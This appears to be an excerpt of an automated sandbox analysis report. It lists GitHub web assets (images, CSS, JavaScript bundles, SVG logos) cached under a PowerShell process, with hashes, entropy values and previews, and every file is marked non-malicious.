Preview:	.PNG........IHDR.............j"0\....PLTE...%%%.......................................................................................??N44A..9::I88D<<K$)/06=38?:?G(-3+078=E&,2...7<C/6(.E5:ABBS05;27>nv..39@FN6;B%0...\cmDKSIPX?DJW^helw,28/4;<BIU\eFLU=CJMT\OU^RYbKRZZ`jBHPahr^eo[_cgoz<AG-29jq\|SZcilp...cjuHNW...vy}fnxPW`...[bl.........QXaMQV...W[`_gq...X_i...GKP...bis......T[dTX]...CGL~..bejks~..........z}.lpt...5;C....JNS......psw_bg......eim..................svz...QUZ...(.DAAQ......$10=?M:=INSX%:2%E4&X7RZc'.A...(.C'.@%O5'.>'y=&p;&h:&a9.1DR...%tRNS......... $'-0A4>;D8cWGhSuUtNo.........XWIDATx...A.. ..P../].j."a.4z.............................................................&......8....?...?.R...Y..~h..._~...........w.6.....S...=$.Og.........4.C.t"...;g..8..Q6...7..{...".ZhW..^K.V.(.$.....fue].p`.../m...j.).../.........E.3.su..W...~..........{....1..,..KK.(5('......._.....k..m.2Y.u...X@.&.1....'@..AAW.../.e.3............*c...OC....h..Z.S...._T5........-......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\issues-plan-2-46d1ce1d4519[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 2498 x 1450, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	127003
Entropy (8bit):	7.944577846661503
Encrypted:	false
SSDEEP:	3072:ELT/yRquCmljGOzB5iaKspZWSIW0D/BkF+IzCV0hA:mxuPFhzB5fKs3fIt/2FlUH
MD5:	8F6A3D952045674D451740CE132C2558
SHA1:	CC7531574F1C59EF27B11FD19ED0BAFF0E6320C9
SHA-256:	D07DD2AFEA2E2BF70EFFBA848B647BC3E28A31A4A975B0D4B2306EC672869ADE
SHA-512:	B37409790147E7F2FDB964F88F250CF08AD150E28EC8820A4419A8FABFD75C54ECC7D8C5F153AE6406EA130EE8CD59150193A5CA1CCFC66FCFD186A0A6F6A16D
Malicious:	false
Preview:	.PNG........IHDR...............q.....PLTE!'/..#5>H09-6?...R]h.":BK3;DAJS-4<GPY(.709B\|.."(1oy.MVabku...t.....`n\|'-5$2[enhr\|..COZe...<EO.a.IS_..'.........BLV......=BH...Y]c.......7@...ux\|.LU3,...A10(&'\jxYer...?<:544N;7U`m........B..........?1b[Ol...../-D+(?......v`aE<IHJ...vJ7USV.zB.aK/.....d8$URG...p[...m....PB%.q71....r.S>vYF.Y.20.hTgbavhV.m:.~JJ=P3$.BI..]hmO..<l.....IP....A.zl.iPc.......tpj.\|k.....Ls...T~j5Y..c[8....T5..Jl}..~d...C8[...........i.8H...<V-....}.......r......>/.^......p.,{.U.an.ZD.Q....\|Z. .J\...Rb.@'V@..;\0-W:p...0....}.. "y..d..e?[.......X.....dm...'b\..>.:=E..$DH.mpQ.....'A..w..XdJ.sR.(.m...7`.#Ns..&...&..y....X.FM.12......N.{...K=oB_.?.4..:..&./ .R....X....W.s.h.....m......Z..@..4...j....z...Pv..T..\..c..y.Q..$].&....=.m:.n.8.. ....1.8.......IDATx............h.... F...r... G...r... G...r... G...r... G...r... G...r... G...r... G...r... G...r... G...r... G...r... G...r...{v..H..a.D...<xiou...x#3.Cb.....=.......p$....H8...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\light-3e154969b9f9[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	50100
Entropy (8bit):	4.836032799696237
Encrypted:	false
SSDEEP:	768:c8Yb5cWV9B2dfZpONIzprcobMhscqtIRkseV9hxQN3BxOOienu3jQhriKf3/7hFq:fWV9B2dfZpO4pSeV9hGN3BxOgxA
MD5:	DDA4611C92E86740CC9EA1301C6EA9F7
SHA1:	1D20BB0250A31E8F62CD738A41881D0155FF9726
SHA-256:	16299E8062CD02BB5746969F27F13765FF6AB6108A88FE69925007B65134E0C0
SHA-512:	3E154969B9F981782A137ADE0196ADBDC3919C451A134F632B4F748FAABD3136E76013775F56BF3ACCE47E40B389A209BA3B9AE7C3B554F4619E861C128D1DE9
Malicious:	false
Preview:	[data-color-mode="light"][data-light-theme="light"],.[data-color-mode="light"][data-light-theme="light"] ::backdrop,.[data-color-mode="auto"][data-light-theme="light"],.[data-color-mode="auto"][data-light-theme="light"] ::backdrop {. --topicTag-borderColor: #ffffff00;. --highlight-neutral-bgColor: #fff8c5;. --page-header-bgColor: #f6f8fa;. --diffBlob-addition-fgColor-text: #1f2328;. --diffBlob-addition-fgColor-num: #1f2328;. --diffBlob-addition-bgColor-num: #d1f8d9;. --diffBlob-addition-bgColor-line: #dafbe1;. --diffBlob-addition-bgColor-word: #aceebb;. --diffBlob-deletion-fgColor-text: #1f2328;. --diffBlob-deletion-fgColor-num: #1f2328;. --diffBlob-deletion-bgColor-num: #ffcecb;. --diffBlob-deletion-bgColor-line: #ffebe9;. --diffBlob-deletion-bgColor-word: #ff818266;. --diffBlob-hunk-bgColor-num: #54aeff66;. --diffBlob-expander-iconColor: #59636e;. --codeMirror-fgColor: #1f2328;. --codeMirror-bgColor: #ffffff;. --codeMirror-gutters-bgColor: #ffffff;. --codeMirror-gu

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\marketing-experiments-6794cdd7dce1[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (8438)
Category:	dropped
Size (bytes):	8501
Entropy (8bit):	5.333552377234785
Encrypted:	false
SSDEEP:	192:9mWS+zdmVLmXJ76u8CqA5FgLtfr3T8z5hHsWLYvDv:9mWxzkIXp6rCqA5FyBrjU5hMWLYbv
MD5:	4444965D3915DFF372FB4A4C1F40C516
SHA1:	B2D3F8501CE2A075C7D6414F29D3727F47346B20
SHA-256:	2D71246943543FE69EB7067B4E941F9B034AA319194924554D0629CBC579C2B4
SHA-512:	6794CDD7DCE1E3B605BB234357404B5170E5ECE5803D746F12BC1E3E07B83D4BAB79AF9CB501CFA716101DE1629ED2A140E34682459EF490B5CDC8B348ACB6AE
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["marketing-experiments"],{97797:(e,t,n)=>{function r(){if(!(this instanceof r))return new r;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}n.d(t,{h:()=>E,A:()=>j,on:()=>F});var o,i=window.document.documentElement,s=i.matches\|\|i.webkitMatchesSelector\|\|i.mozMatchesSelector\|\|i.oMatchesSelector\|\|i.msMatchesSelector;r.prototype.matchesSelector=function(e,t){return s.call(e,t)},r.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},r.prototype.indexes=[];var a=/^#((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;r.prototype.indexes.push({name:"ID",selector:function(e){var t;if(t=e.match(a))return t[0].slice(1)},element:function(e){if(e.id)return[e.id]}});var c=/^\.((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;r.prototype.indexes.push({name:"CLASS",selector:function(e){var t;if(t=e.match(c))return t[0].slice(1)},element:function(e){var t=e.className;if

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mercedes-fcf97d2d6ec4[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7133
Entropy (8bit):	3.9348736011496825
Encrypted:	false
SSDEEP:	96:F2idXMqLw2ssgnvqkxlsKsLG+HzZnpG/i/Rz8FxsNx17I6GB3bzfTPpg61VK:F2ack2v/AKsq6JM6RoFuX1EJZt1o
MD5:	87A8627763E5A7CCA37606063F575C12
SHA1:	3576DE93AF0EB73FCE2C506C003FFAC1209C7966
SHA-256:	AC619C0148F704763F70EE92B34B16CC1E34FDD14E73534BADC15B05FA857827
SHA-512:	FCF97D2D6EC4F79AFBFDD2D2B9E9A3F373438CD3B71D47FFEED6DAF958AB847B3EA01179C6B292EBAF12E44953419DEEF3509CA4BA58018B08D544A6687DD7D7
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="296" height="77" fill="none"><path fill="#8B949E" d="M188.52 27.129c-1.689.449-3.211.72-5.102.922v.575c2.128 0 2.399.238 2.399 1.997v5.913c-1.251-2.028-2.232-2.635-4.055-2.635-3.616 0-6.147 3.412-6.147 8.28 0 4.868 2.566 8.283 6.249 8.283 1.926 0 3.243-.877 4.188-2.77.136 1.283.137 1.418.475 2.703 1.385-.44 1.958-.576 3.953-.812l.505-.069v-.574c-2.263-.067-2.465-.237-2.465-2.298V27.129Zm-91.16.246a25.729 25.729 0 0 1-3.21.171c-.947 0-1.453-.033-2.769-.135v.842c2.33.136 2.802.474 2.802 2.03v.204l-.71 16.596c-.067 1.826-.403 2.095-2.768 2.265v.812c1.758-.136 2.43-.169 3.376-.169.947 0 1.621.033 3.346.169v-.812c-2.366-.17-2.805-.474-2.805-1.961v-.304l.676-17.543 5.54 14.975.406 1.182.475 1.317.472 1.32.373 1.083h.508l.369-1.116.439-1.287.472-1.248.406-1.119 5.576-15.074.304 17.51v.169c0 1.589-.506 1.96-2.805 2.096v.812c2.129-.203 2.939-.27 4.224-.27 1.282 0 2.094.067 4.223.27v-.812c-2.433-.17-2.738-.439-2.771-2.265l-.37-16.596v-.237c0-1.522.5

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\notifications-global-54f34167118d[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (11383)
Category:	dropped
Size (bytes):	11445
Entropy (8bit):	5.194543863644729
Encrypted:	false
SSDEEP:	192:pBHnnH8nCrwYLOJx/LuDXMjBZhUhDuZqHl4sHbbgZk5j3E+a9i:pt8ngwYLOJx/LuDX8BZyBuMHEZU3rD
MD5:	05E151FF3FCBCD0D995CC40FBDC541D3
SHA1:	EB2F73AA190834B9FC5B6C1DC1BF825A596A68B5
SHA-256:	172E0BAA0A86380302C90584A0ABE6C4154EA76319987790399A437F202AF72E
SHA-512:	54F34167118DA8D30DF24005519FFD6EAD0F0FBD0835A40E689C062A1932FAEA9563E3506FE6CE903F837855B69A60DAD9E400483185F716C9D7B6A1A0A9C19C
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["notifications-global"],{57765:(e,t,o)=>{o.d(t,{a:()=>l,n:()=>s});var i=o(97797);function s(){let e=document.getElementById("ajax-error-message");e&&(e.hidden=!1)}function l(){let e=document.getElementById("ajax-error-message");e&&(e.hidden=!0)}(0,i.on)("deprecatedAjaxError","[data-remote]",function(e){let{error:t,text:o}=e.detail;e.currentTarget===e.target&&"abort"!==t&&"canceled"!==t&&(/<html/.test(o)?(s(),e.stopImmediatePropagation()):setTimeout(function(){e.defaultPrevented\|\|s()},0))}),(0,i.on)("deprecatedAjaxSend","[data-remote]",function(){l()}),(0,i.on)("click",".js-ajax-error-dismiss",function(){l()})},3856:(e,t,o)=>{var i=o(39595),s=o(57765),l=o(78350);function a(e,t,o,i){var s,l=arguments.length,a=l<3?t:null===i?i=Object.getOwnPropertyDescriptor(t,o):i;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)a=Reflect.decorate(e,t,o,i);else for(var n=e.length-1;n>=0;n--)(s=e[n])&&(a=(l<3?s(a):l>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\sap-96248a56d312[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2583
Entropy (8bit):	4.116923888161503
Encrypted:	false
SSDEEP:	48:7S5Bn0xSN63cE2ubUyf9xQHcrdiRXetzWfltOrEqcvytnBiJoTa:uN0xSN63PTf9xEDRu5WtRi6
MD5:	F7E5F030A320991322BDA90FE7A9E90A
SHA1:	92D314E3AED9DAB5A7515350E99E3232C3617468
SHA-256:	B9ABE51FA19BD445EEA21A5E31532B7C9A387DF9BC3C57F87BCCD743B835176C
SHA-512:	96248A56D3124A104B398DCBEB45A9D5D99231FD9997644B125E379810B5C5321D6A8072294DD49999BC1F317C793F208398F1E24F9BAE2AEE524E6FF8A6D742
Malicious:	false
Preview:	<svg width="72" height="36" viewBox="0 0 72 36" fill="none" xmlns="http://www.w3.org/2000/svg">. <path fill-rule="evenodd" clip-rule="evenodd". d="M0.0605469 35.7288V0.302979H71.6787L36.2529 35.7288H0.0605469ZM41.422 17.2518H42.9744C45.0468 17.2518 46.6964 16.5658 46.6964 14.3769C46.6964 12.2575 45.0468 11.5746 42.9744 11.5746H41.422V17.2518ZM24.0083 20.9101C24.7311 21.1775 25.4959 21.3131 26.2666 21.3105H26.269C27.023 21.3111 27.7715 21.1821 28.4818 20.9292L26.2921 13.8584H26.2442L24.0083 20.9101ZM35.5135 6.96234H42.5628L42.562 6.96952C49.3009 6.96952 52.4662 9.36979 52.4662 14.6027C52.4662 19.3043 49.2068 22.1058 43.7027 22.1058H41.4236V28.8783H30.9786L29.9448 25.6396C28.84 26.0034 27.5916 26.2028 26.2682 26.2028C24.9121 26.2028 23.631 25.989 22.5062 25.6085L21.4309 28.8783H15.0294L15.7346 26.983L15.4761 27.2087C13.8799 28.4914 11.8825 29.1974 9.40963 29.2452H9.04189C6.24379 29.2358 3.49545 28.5047 1.06252 27.1226L3.23943 22.7966C5.59903 24.191 7.08035 24.5021 9.07779 24.4622C10.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\shape-1-c219318e479a[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.864072715718211
Encrypted:	false
SSDEEP:	24:t4AQ41xzHc+NzzCJaBFzHcOXiGBDIGVSzE1XpG85Pulsl:j/BzO0DPqIBN5gU
MD5:	D56704E28F03DA661D86AC5516C558ED
SHA1:	75669A3720C236A67509643A81AFA837ABDE741F
SHA-256:	212B3608BCBCD595B95D8831358991A19FE5AB416EE023225DF454B8A5C15992
SHA-512:	C219318E479AF9F782D0FB2D435532F106DFFD92EFCD00A66ADE57720BA86B5014E360AB2E9F73FD63B311D94E90CC68822709ABFCA5CCC0EAAD8D7F3CC33914
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="791" height="791" fill="none"><g opacity=".1"><path stroke="#fff" stroke-miterlimit="10" stroke-width="2" d="M529.197 644.147c137.681-74.018 189.289-245.635 115.27-383.315-74.018-137.681-245.635-189.29-383.315-115.271-137.681 74.019-189.29 245.635-115.271 383.316 74.019 137.681 245.635 189.289 383.316 115.27Z" style="stroke:#fff;stroke-opacity:1"/><path stroke="#fff" stroke-miterlimit="10" stroke-width="2" d="M510.465 11.525 11.882 279.568l268.043 498.583 498.583-268.043L510.465 11.525Z" style="stroke:#fff;stroke-opacity:1"/><path fill="#fff" d="M16.432 288.115a8.99 8.99 0 0 0 3.662-12.175 8.99 8.99 0 1 0-3.661 12.175ZM514.973 20.093a8.99 8.99 0 1 0-8.513-15.836 8.99 8.99 0 0 0 8.513 15.836ZM284.454 786.656a8.99 8.99 0 0 0 3.661-12.175 8.991 8.991 0 1 0-3.661 12.175ZM782.994 518.634a8.99 8.99 0 0 0-8.514-15.836 8.989 8.989 0 0 0-3.661 12.175 8.989 8.989 0 0 0 12.175 3.661Z" style="fill:#fff;fill-opacity:1"/></g></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\site-fbd7cf8f6ba2[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65413)
Category:	dropped
Size (bytes):	72909
Entropy (8bit):	5.215856409486359
Encrypted:	false
SSDEEP:	768:A6M5agCkUGHsTmJgHZ8fatWWsuDz5DZdLX4IR:cHgmyDz5DZdLX4IR
MD5:	B27F95643AA248231E19718202644C08
SHA1:	80E86E3B149BBCBFFB1940210F3930218928DBC9
SHA-256:	B0E5AC140B3BE2462E50205DA16014742B0704B6B14BEAD00F26ADBF0D8D8E3F
SHA-512:	FBD7CF8F6BA23E0EC66044EB1639CCD6F41009D93564B6525104699C0A82DB382ADF6CF299074B688F15C525B5B0188539647DBF2B8C302446DB1A12475AC956
Malicious:	false
Preview:	/!. @primer/css/marketing. * http://primer.style/css. . Released under MIT license. Copyright (c) 2019 GitHub Inc.. /[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted:white 0 0 0 2px inset}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mkt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\thumbnail-31b2a20df6fc[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 442 x 252, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	109704
Entropy (8bit):	7.9918621328006285
Encrypted:	true
SSDEEP:	3072:aDVic3f6oWUlQo/keaJwShMmSmSj2CGdyZxJW+Lri/nW4:ZGf6oW0/keaJwoJST2CGdGxzu/n1
MD5:	7C11EF80B1762184A918A81E785DA8ED
SHA1:	1887A8EEBF53094CD310ABB2E4EE1F7D52693F89
SHA-256:	D4979E293D4EF80AF780EE69AD1600F38FD5DCA247806BAAE1936637DCECFDBE
SHA-512:	4DA49E798724222DAD8380DF0E4CD25E367878AD2773E996578C68EEAF50FCB47710D193A7A398F6090990FB57A18CB8427A9A44A06A595560D040C47FA5A372
Malicious:	false
Preview:	.PNG........IHDR...............a@....pHYs.................sRGB.........gAMA......a.....IDATx....mK.%....9...zt.....B...). .P......._@..%\|A......[...d<...........mO....f:t..9.u.Z...fc...P5.....\|..............2"~..\|...".......g"....\|........=..zd..,.O....^X.C?E.-.U9.0...\|.-K..W........=.C..v...W/......x...7..s..I.Q.u[...&^O^.......U.K;"......./_..EV.IS.1d}n....mK..Y..2.F....N...Q......[........?..+...}....#.l.A.....'.\|j.........].[dl....n......E....."..b..L....zw.m)..g.u.?\|..O.&...n......N.\..F.'\.)x.JV..lwvw..><.......f.O.E.....l..^.wR~.k}Y.6be.?t.F.vw7p.....7......x7.......?.............'......./.............p...../.oV..../.......)Ya'..uk.E.qr.Ke..........<......}..6.p.P...E..,p........../...w............z..7.$...z3.B>..P2X.l..Q...........~.,]....vZ./..CHb.v.....N....<e....?.kP..1.0...w....~.O~n.......>$...Y[.Ns^.^.yo....K.?Y..b....l%.w.S...7......:...8:#6_9..x9.M\....-V]FyEj.0.../.Iz. hj..}.......q.Y..NM....n....W.g@s\|..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec-634de60bacfa[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (16853)
Category:	dropped
Size (bytes):	16995
Entropy (8bit):	5.203013756938262
Encrypted:	false
SSDEEP:	384:Aqqtjy0AxATbsjj0BQt8BwfJ4OtJxgVKBr1n5:AzWFnt8BwfJ4qxg45
MD5:	6D0190B1025C7E9E086D6F5C11885986
SHA1:	A28DDB8D44802567C12FB62877F4BA5D1DCF7E20
SHA-256:	395734038E039E2749FD0B9BED53F15DEBC1D391AEBDAA05A3CBFD96E3A42157
SHA-512:	634DE60BACFAB016D7CB9FFE97DF6B5B7533845D696ADAB4AFD9ED684466E0B0D604A44B259C4569713FFD06E8F5D6A7D066162193B581E196D66E88C1B92BC5
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec"],{23683:(e,t,s)=>{t.nr=void 0,s(76091),s(70955),s(92112),s(60020),s(45744),s(20777),s(42189),s(16174),s(40691),s(67365);var n=s(32514);t.nr=n,s(63969),s(76369),s(29572),s(45710),s(181),s(13735),s(10777),s(41464),s(2224),s(66787),s(46788),s(85571),s(62701),s(68861),s(4951)},62701:(e,t,s)=>{var n=s(76091),r=s(70955),i=s(63969);e.exports=function(){return n()\|\|r()\|\|i()}},76091:e=>{e.exports=function(e){return e=e\|\|window.navigator.userAgent,/Android/i.test(e)}},70955:e=>{e.exports=function(e){return e=e\|\|window.navigator.userAgent,/CrOS/i.test(e)}},92112:(e,t,s)=>{var n=s(40691),r=s(46788),i=s(60020),a=s(66787),o=s(85571);e.exports=function(e){return(-1!==(e=e\|\|window.navigator.userAgent).indexOf("Chrome")\|\|-1!==e.indexOf("CriOS"))&&!n(e)&&!r(e)&&!i(e)&&!a(e)&&!o(e)}},60020:e=>{e.exports=function(e){return -1!==(e=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f4b251-f7c3b6081b19[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (14108)
Category:	dropped
Size (bytes):	14250
Entropy (8bit):	5.220567117529389
Encrypted:	false
SSDEEP:	384:KmlYkIDNYY62yYHrL9/4cyzhE/UbkKqCDf8rZPZrcsjN1Q6:lYnNYYsYLL9we8bkKqCDWZ4sjN1Q6
MD5:	07DB8FD7C0D6D1D98D1E07156A23C873
SHA1:	26C0A8E9DE88A9E88E96985613B9145ECC294D2C
SHA-256:	18C24A8FD0F795BD9220DBDD2EF08C8B0EE030DC0123AF5A570555D94FC61DBC
SHA-512:	F7C3B6081B195E4BE03CB8C99B16624A685F2F7A3C39A9BDCC0F8E439019E8AB6640A0A2673D5597DD1808F149371A05C9BE8A9AD7F41759E6BA4A3433CE0CFF
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f4b251","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff530","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531"],{97797:(e,t,n)=>{function o(){if(!(this instanceof o))return new o;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}n.d(t,{h:()=>S,A:()=>k,on:()=>_});var r,i=window.document.documentElement,a=i.matches\|\|i.webkitMatchesSelector\|\|i.mozMatchesSelector\|\|i.oMatchesSelector\|\|i.msMatchesSelector;o.prototype.matchesSelector=function(e,t){return a.call(e,t)},o.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},o.prototype.indexes=[];var s=/^#((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;o.prototype.indexes.push({name:"ID",selector:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-e6893db9c19e[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (9454)
Category:	dropped
Size (bytes):	9596
Entropy (8bit):	5.111640373972624
Encrypted:	false
SSDEEP:	192:G/IV2q4eyM4WnK7i+wR8cozAUI8QK4Tint:G/3U4WnP+wiGUI5O
MD5:	047D853FEC811D81D3C1C8EC87F9B472
SHA1:	A35D29910FBCA71733D28E49600A4D07CB72326A
SHA-256:	AD73313E109C376D8D299713E3D5C16844F4FA717EFEC02C2C7D35F86840FFFA
SHA-512:	E6893DB9C19EECE62F53B50247B78B68B30BF4E2AF9624F302551AC10D3E9D49CDDC2F1097D7887AE525C2F58CF6A89ECEC3872495803F4A4F78A496AF5F3C40
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1"],{18679:(e,t,n)=>{n.d(t,{s:()=>AnalyticsClient});let r=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];var i=n(36301);let AnalyticsClient=class AnalyticsClient{constructor(e){this.options=e}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,i.y)()}createEvent(e){return{page:location.href,title:document.title,context:{...this.options.baseContext,...function(){let e={};try{for(let[t,n]of new URLSearchParams(window.location.search)){let i=t.toLowerCase();r.includes(i)&&(e[i]=n)}return e}catch(e){return{}}}(),...e}}}sendPageView(e){let t=this.createEvent(e);this.send({page_views:[t]})}sendEvent(e,t){let n={...this.createEvent(t),type:e};this.send({events:[n]})}send({page_views:e,events:t}){let n=JSON.stringify({client_id

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_morphdom_dist_morphdom-e-7c534c-f8a5485c982a[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (5699)
Category:	dropped
Size (bytes):	5841
Entropy (8bit):	5.2964286332525905
Encrypted:	false
SSDEEP:	96:+eshrxIteecndURGxL/NON5WUK+UzdrkSrvRYSxVE9U+cuUnZ0H0ITZ:+eshrvd6GpNszbaLE6vdnZKTZ
MD5:	E87764E4B54806BD9528E9413F05201A
SHA1:	5D1C284DC8E2D047DE24F8380F71EA9989D732BB
SHA-256:	A38E79C76A05E2473CEFDE9829CB125563E2BB06965AA3D0A41B314816BD1097
SHA-512:	F8A5485C982A797682C4138B024F83EA2669B7B7458C2D9EEB2C18526260E2DDE0B3BC68D98415F8513E4CE099E46783A9EF8AD08B58929CA66972630953822E
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_morphdom_dist_morphdom-e-7c534c"],{70170:(e,t,n)=>{function i(e,t=0,{start:n=!0,middle:i=!0,once:r=!1}={}){let a,o=n,d=0,l=!1;function u(...c){if(l)return;let f=Date.now()-d;d=Date.now(),n&&i&&f>=t&&(o=!0),o?(o=!1,e.apply(this,c),r&&u.cancel()):(i&&f<t\|\|!i)&&(clearTimeout(a),a=setTimeout(()=>{d=Date.now(),e.apply(this,c),r&&u.cancel()},i?t-f:t))}return u.cancel=()=>{clearTimeout(a),l=!0},u}function r(e,t=0,{start:n=!1,middle:r=!1,once:a=!1}={}){return i(e,t,{start:n,middle:r,once:a})}n.d(t,{n:()=>i,s:()=>r})},83770:(e,t,n)=>{n.d(t,{A:()=>p});var i,r,a="undefined"==typeof document?void 0:document,o=!!a&&"content"in a.createElement("template"),d=!!a&&a.createRange&&"createContextualFragment"in a.createRange();function l(e,t){var n,i,r=e.nodeName,a=t.nodeName;return r===a\|\|((n=r.charCodeAt(0),i=a.charCodeAt(0),n<=90&&i>=97)?r===a.toUpperCase():i<=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (9479)
Category:	dropped
Size (bytes):	9584
Entropy (8bit):	5.215685993493463
Encrypted:	false
SSDEEP:	192:TYtHD8XW+0RC1hKvjV5wb3PRzR63v6R+z5tuBUD+5mnDzc/tWuplJ6U:TiHD8XW9RQKk7RzRIv6R+z5tmUqAklWy
MD5:	E131F8C9B77918AEB94FD82199A423D6
SHA1:	71EAAE086CD44A8904F39D27FB5387BB957976F0
SHA-256:	01F9A0EC0BB24312AE0395B6AA238F8D910DC35C08EF5A25A1E9CD8FEAC83C32
SHA-512:	F690FD9AE3D5A240E479FEA97AC82940F136F3F2E0262CAC840345F2B956123117CA94424DC354D90D13F1C0169C24B19526505BB2FAD70C8C364899474A9495
Malicious:	false
